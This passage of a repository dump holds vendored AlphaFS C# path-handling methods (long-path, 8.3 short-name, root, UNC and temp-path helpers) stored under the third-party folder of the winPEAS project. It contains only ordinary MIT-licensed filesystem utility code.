[SecurityCritical]\n      internal static string GetLongPathCore(string path, GetFullPathOptions options)\n      {\n         if (null == path)\n            throw new ArgumentNullException(\"path\");\n\n         if (path.Trim().Length == 0)\n            throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, \"path\");\n\n\n         if (options != GetFullPathOptions.None)\n            path = ApplyFullPathOptions(path, options);\n\n\n         // \".\", \"C:\"\n         if (path.Length <= 2 || path.StartsWith(LongPathPrefix, StringComparison.Ordinal) || path.StartsWith(LogicalDrivePrefix, StringComparison.Ordinal) || path.StartsWith(NonInterpretedPathPrefix, StringComparison.Ordinal))\n            return path;\n\n\n         if (path.StartsWith(UncPrefix, StringComparison.Ordinal))\n            return LongPathUncPrefix + path.Substring(UncPrefix.Length);\n\n\n         return IsPathRooted(path, false) && IsLogicalDriveCore(path, false, PathFormat.LongFullPath) ? LongPathPrefix + path : path;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetLongShort83PathCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Retrieves the short path form, or the regular long form of the specified <paramref name=\"path\"/>.</summary>\n      /// <returns>If <paramref name=\"getShort\"/> is <c>true</c>, a path of the 8.3 form otherwise the regular long form.</returns>\n      /// <remarks>\n      ///   <para>Will fail on NTFS volumes with disabled 8.3 name generation.</para>\n      ///   <para>The path must actually exist to be able to get the short- or long path name.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">An existing path to a folder or file.</param>\n      /// <param name=\"getShort\"><c>true</c> to retrieve the short path form, <c>false</c> to retrieve the regular long form from the 8.3 <paramref name=\"path\"/>.</param>\n      [SecurityCritical]\n      private static string GetLongShort83PathCore(KernelTransaction transaction, string path, bool getShort)\n      {\n         var pathLp = GetFullPathCore(transaction, false, path, GetFullPathOptions.AsLongPath | GetFullPathOptions.FullCheck);\n\n         var buffer = new StringBuilder();\n         var actualLength = getShort ? NativeMethods.GetShortPathName(pathLp, null, 0) : (uint) path.Length;\n\n         while (actualLength > buffer.Capacity)\n         {\n            buffer = new StringBuilder((int) actualLength);\n            actualLength = getShort\n\n               // GetShortPathName() / GetLongPathName()\n               // 2014-01-29: MSDN confirms LongPath usage.\n\n               ? NativeMethods.GetShortPathName(pathLp, buffer, (uint) buffer.Capacity) : transaction == null || !NativeMethods.IsAtLeastWindowsVista\n\n                  ? NativeMethods.GetLongPathName(pathLp, buffer, (uint) buffer.Capacity)\n\n                  : NativeMethods.GetLongPathNameTransacted(pathLp, buffer, (uint) buffer.Capacity, transaction.SafeHandle);\n\n\n            var lastError = Marshal.GetLastWin32Error();\n\n            if (actualLength == 0)\n               NativeError.ThrowException(lastError, pathLp);\n         }\n\n         return GetRegularPathCore(buffer.ToString(), GetFullPathOptions.None, false);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetPathRootCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Gets the root directory information of the specified path.</summary>\n      /// <returns>\n      ///   Returns the root directory of <paramref name=\"path\"/>, such as \"C:\\\",\n      ///   or <c>null</c> if <paramref name=\"path\"/> is <c>null</c>,\n      ///   or an empty string if <paramref name=\"path\"/> does not contain root directory information.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"path\">The path from which to obtain root directory information.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      internal static string GetPathRootCore(string path, bool checkInvalidPathChars)\n      {\n         if (null == path)\n            return null;\n\n         if (path.Trim().Length == 0)\n            throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, \"path\");\n\n\n         var pathRp = GetRegularPathCore(path,checkInvalidPathChars ? GetFullPathOptions.CheckInvalidPathChars : GetFullPathOptions.None, false);\n\n         var rootLengthPath = GetRootLength(path, false);\n\n         var rootLengthPathRp = GetRootLength(pathRp, false);\n\n\n         // Check if pathRp is an empty string.\n\n         if (rootLengthPathRp == 0 && path.StartsWith(LongPathPrefix, StringComparison.Ordinal))\n\n            return GetLongPathCore(path.Substring(0, rootLengthPath), GetFullPathOptions.None);\n\n\n         return path.StartsWith(LongPathUncPrefix, StringComparison.OrdinalIgnoreCase) ? GetLongPathCore(pathRp.Substring(0, rootLengthPathRp), GetFullPathOptions.None) : path.Substring(0, rootLengthPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetRegularPathCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Gets the regular path from a long path.</summary>\n      /// <returns>\n      ///   Returns the regular form of a long <paramref name=\"path\"/>.\n      ///   For example: \"\\\\?\\C:\\Temp\\file.txt\" to: \"C:\\Temp\\file.txt\", or: \"\\\\?\\UNC\\Server\\share\\file.txt\" to: \"\\\\Server\\share\\file.txt\".\n      /// </returns>\n      /// <remarks>\n      ///   MSDN: String.TrimEnd Method notes to Callers: http://msdn.microsoft.com/en-us/library/system.string.trimend%28v=vs.110%29.aspx\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"options\">Options for controlling the full path retrieval.</param>\n      /// <param name=\"allowEmpty\">When <c>false</c>, throws an <see cref=\"ArgumentException\"/>.</param>\n      [SecurityCritical]\n      internal static string GetRegularPathCore(string path, GetFullPathOptions options, bool allowEmpty)\n      {\n         if (null == path)\n            throw new ArgumentNullException(\"path\");\n\n         if (!allowEmpty && (path.Trim().Length == 0 || Utils.IsNullOrWhiteSpace(path)))\n            throw new ArgumentException(Resources.Path_Is_Zero_Length_Or_Only_White_Space, \"path\");\n\n         if (options != GetFullPathOptions.None)\n            path = ApplyFullPathOptions(path, options);\n\n\n         if (path.StartsWith(DosDeviceUncPrefix, StringComparison.OrdinalIgnoreCase))\n            return UncPrefix + path.Substring(DosDeviceUncPrefix.Length);\n\n\n         if (path.StartsWith(LogicalDrivePrefix, StringComparison.Ordinal))\n            return path.Substring(LogicalDrivePrefix.Length);\n\n\n         if (path.StartsWith(NonInterpretedPathPrefix, StringComparison.Ordinal))\n            return path.Substring(NonInterpretedPathPrefix.Length);\n\n\n         return path.StartsWith(GlobalRootPrefix, StringComparison.OrdinalIgnoreCase) || path.StartsWith(VolumePrefix, StringComparison.OrdinalIgnoreCase) ||\n                !path.StartsWith(LongPathPrefix, StringComparison.Ordinal)\n\n            ? path\n            : (path.StartsWith(LongPathUncPrefix, StringComparison.OrdinalIgnoreCase) ? UncPrefix + path.Substring(LongPathUncPrefix.Length) : path.Substring(LongPathPrefix.Length));\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetSuffixedDirectoryNameCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Returns the directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   The suffixed directory information for the specified <paramref name=\"path\"/> with a trailing <see cref=\"DirectorySeparatorChar\"/> character,\n      ///   or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> denotes a root (such as \"\\\", \"C:\", or * \"\\\\server\\share\").\n      /// </returns>\n      /// <remarks>This method is similar to calling Path.GetDirectoryName() + Path.AddTrailingDirectorySeparator()</remarks>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static string GetSuffixedDirectoryNameCore(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         var parentFolder = Directory.GetParentCore(transaction, path, pathFormat);\n\n         return null != parentFolder && null != parentFolder.Parent && null != parentFolder.Name\n\n            ? AddTrailingDirectorySeparator(CombineCore(false, parentFolder.Parent.FullName, parentFolder.Name), false)\n\n            : null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetSuffixedDirectoryNameWithoutRootCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Returns the directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character.</summary>\n      /// <returns>\n      ///   <para>The directory information for the specified <paramref name=\"path\"/> without the root and with a trailing <see cref=\"DirectorySeparatorChar\"/> character,</para>\n      ///   <para>or <c>null</c> if <paramref name=\"path\"/> is <c>null</c> or if <paramref name=\"path\"/> is <c>null</c>.</para>\n      /// </returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      private static string GetSuffixedDirectoryNameWithoutRootCore(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         var parentFolder = Directory.GetParentCore(transaction, path, pathFormat);\n\n         if (null == parentFolder || null == parentFolder.Parent)\n            return null;\n\n\n         var tmpParent = parentFolder;\n\n         string suffixedDirectoryNameWithoutRoot;\n         \n         do\n         {\n            suffixedDirectoryNameWithoutRoot = tmpParent.DisplayPath.Replace(parentFolder.Root.ToString(), string.Empty);\n\n            if (null != tmpParent.Parent)\n               tmpParent = parentFolder.Parent.Parent;\n\n         } while (null != tmpParent && null != tmpParent.Root.Parent && null != tmpParent.Parent && !Utils.IsNullOrWhiteSpace(tmpParent.Parent.ToString()));\n\n\n         return !Utils.IsNullOrWhiteSpace(suffixedDirectoryNameWithoutRoot)\n\n            ? AddTrailingDirectorySeparator(suffixedDirectoryNameWithoutRoot.TrimStart(DirectorySeparatorChar), false)\n\n            : null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.GetTempPathCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Returns the path of the current user's temporary folder.</summary>\n      /// <param name=\"combinePath\">The folder name to append to the temporary folder.</param>\n      /// <returns>The path to the temporary folder, combined with <paramref name=\"combinePath\"/>.</returns>\n      [SecurityCritical]\n      internal static string GetTempPathCore(string combinePath)\n      {\n         var tempPath = System.IO.Path.GetTempPath();\n\n         return !Utils.IsNullOrWhiteSpace(combinePath) ? CombineCore(false, tempPath, combinePath) : tempPath;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.IsPathRootedCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Gets a value indicating whether the specified path string contains absolute or relative path information.</summary>\n      /// <returns><c>true</c> if <paramref name=\"path\"/> contains a root; otherwise, <c>false</c>.</returns>\n      /// <remarks>\n      ///   The IsPathRooted method returns true if the first character is a directory separator character such as\n      ///   <see cref=\"DirectorySeparatorChar\"/>, or if the path starts with a drive letter and colon (<see cref=\"VolumeSeparatorChar\"/>).\n      ///   For example, it returns <c>true</c> for path strings such as \"\\\\MyDir\\\\MyFile.txt\", \"C:\\\\MyDir\", or \"C:MyDir\".\n      ///   It returns <c>false</c> for path strings such as \"MyDir\".\n      /// </remarks>\n      /// <remarks>This method does not verify that the path or file name exists.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to test. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      internal static bool IsPathRootedCore(string path, bool checkInvalidPathChars)\n      {\n         if (null != path)\n         {\n            if (checkInvalidPathChars)\n               CheckInvalidPathChars(path, false, true);\n\n            var length = path.Length;\n\n            if (length >= 1 && IsDVsc(path[0], false) || length >= 2 && IsDVsc(path[1], true))\n               return true;\n         }\n\n         return false;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.IsUncPathCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Determines if a path string is a valid Universal Naming Convention (UNC) path, optionally skip invalid path character check.</summary>\n      /// <returns><c>true</c> if the specified path is a Universal Naming Convention (UNC) path, <c>false</c> otherwise.</returns>\n      /// <param name=\"path\">The path to check.</param>\n      /// <param name=\"isRegularPath\">When <c>true</c> indicates that <paramref name=\"path\"/> is already in regular path format.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      internal static bool IsUncPathCore(string path, bool isRegularPath, bool checkInvalidPathChars)\n      {\n         if (!isRegularPath)\n            path = GetRegularPathCore(path, checkInvalidPathChars ? GetFullPathOptions.CheckInvalidPathChars : GetFullPathOptions.None, false);\n\n         else if (checkInvalidPathChars)\n            CheckInvalidPathChars(path, false, false);\n\n\n         Uri uri;\n\n         return Uri.TryCreate(path, UriKind.Absolute, out uri) && uri.IsUnc;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.LocalToUncCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\n\nusing System;\nusing System.Globalization;\nusing System.IO;\nusing System.Net.NetworkInformation;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>Converts a local path to a network share path, optionally returning it in a long path format and the ability to add or remove a trailing backslash.\n      ///   <para>A Local path, e.g.: \"C:\\Windows\" or \"C:\\Windows\\\" will be returned as: \"\\\\localhost\\C$\\Windows\".</para>\n      ///   <para>If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing <see cref=\"DirectorySeparator\"/> character.</para>\n      /// </summary>\n      /// <returns>On successful conversion a UNC path is returned.\n      ///   <para>If the conversion fails, <paramref name=\"localPath\"/> is returned.</para>\n      ///   <para>If <paramref name=\"localPath\"/> is an empty string or <c>null</c>, <c>null</c> is returned.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"PathTooLongException\"/>\n      /// <exception cref=\"NetworkInformationException\"/>\n      /// <param name=\"localPath\">A local path, e.g.: \"C:\\Windows\".</param>\n      /// <param name=\"fullPathOptions\">Options for controlling the full path retrieval.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      //[SecurityCritical]\n      //internal static string LocalToUncCore(string localPath, GetFullPathOptions fullPathOptions, PathFormat pathFormat)\n      //{\n      //   if (Utils.IsNullOrWhiteSpace(localPath))\n      //      return null;\n\n      //   if (pathFormat == PathFormat.RelativePath)\n      //      CheckSupportedPathFormat(localPath, true, true);\n         \n\n      //   var addTrailingDirectorySeparator = (fullPathOptions & GetFullPathOptions.AddTrailingDirectorySeparator) != 0;\n      //   var removeTrailingDirectorySeparator = (fullPathOptions & GetFullPathOptions.RemoveTrailingDirectorySeparator) != 0;\n\n      //   if (addTrailingDirectorySeparator && removeTrailingDirectorySeparator)\n      //      throw new ArgumentException(Resources.GetFullPathOptions_Add_And_Remove_DirectorySeparator_Invalid, \"fullPathOptions\");\n\n\n      //   if (!removeTrailingDirectorySeparator && !addTrailingDirectorySeparator)\n      //   {\n      //      // Add a trailing backslash when \"localPath\" ends with a backslash.\n      //      if (localPath.EndsWith(DirectorySeparator, StringComparison.Ordinal))\n      //      {\n      //         fullPathOptions &= ~GetFullPathOptions.RemoveTrailingDirectorySeparator; // Remove removal of trailing backslash.\n      //         fullPathOptions |= GetFullPathOptions.AddTrailingDirectorySeparator;     // Add adding trailing backslash.\n      //      }\n      //   }\n\n\n      //   var getAsLongPath = (fullPathOptions & GetFullPathOptions.AsLongPath) != 0;\n\n      //   var returnUncPath = GetRegularPathCore(localPath, fullPathOptions | GetFullPathOptions.CheckInvalidPathChars, false);\n         \n\n      //   if (!IsUncPathCore(returnUncPath, true, false))\n      //   {\n      //      if (returnUncPath[0] == CurrentDirectoryPrefixChar || !IsPathRooted(returnUncPath, false))\n      //         returnUncPath = GetFullPathCore(null, false, returnUncPath, GetFullPathOptions.None);\n\n\n      //      var drive = GetPathRoot(returnUncPath, false);\n\n      //      if (Utils.IsNullOrWhiteSpace(drive))\n      //         return returnUncPath;\n            \n\n      //      var remoteInfo = Host.GetRemoteNameInfoCore(returnUncPath, true);\n\n\n      //      // Network share.\n      //      if (!Utils.IsNullOrWhiteSpace(remoteInfo.lpUniversalName))\n      //         return getAsLongPath ? GetLongPathCore(remoteInfo.lpUniversalName, fullPathOptions) : GetRegularPathCore(remoteInfo.lpUniversalName, fullPathOptions, false);\n\n\n      //      // Network root.\n      //      if (!Utils.IsNullOrWhiteSpace(remoteInfo.lpConnectionName))\n      //         return getAsLongPath ? GetLongPathCore(remoteInfo.lpConnectionName, fullPathOptions) : GetRegularPathCore(remoteInfo.lpConnectionName, fullPathOptions, false);\n\n\n      //      // Split: localDrive[0] = \"C\", localDrive[1] = \"\\Windows\"\n      //      var localDrive = returnUncPath.Split(VolumeSeparatorChar);\n\n      //      // Return: \"\\\\localhost\\C$\\Windows\"\n      //      returnUncPath = string.Format(CultureInfo.InvariantCulture, \"{0}{1}{2}{3}{4}\", Host.GetUncName(), DirectorySeparator, localDrive[0], NetworkDriveSeparator, localDrive[1]);\n      //   }\n\n\n      //   return getAsLongPath ? GetLongPathCore(returnUncPath, fullPathOptions) : GetRegularPathCore(returnUncPath, fullPathOptions, false);\n      //}\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path Core Methods/Path.RemoveTrailingDirectorySeparatorCore.cs",
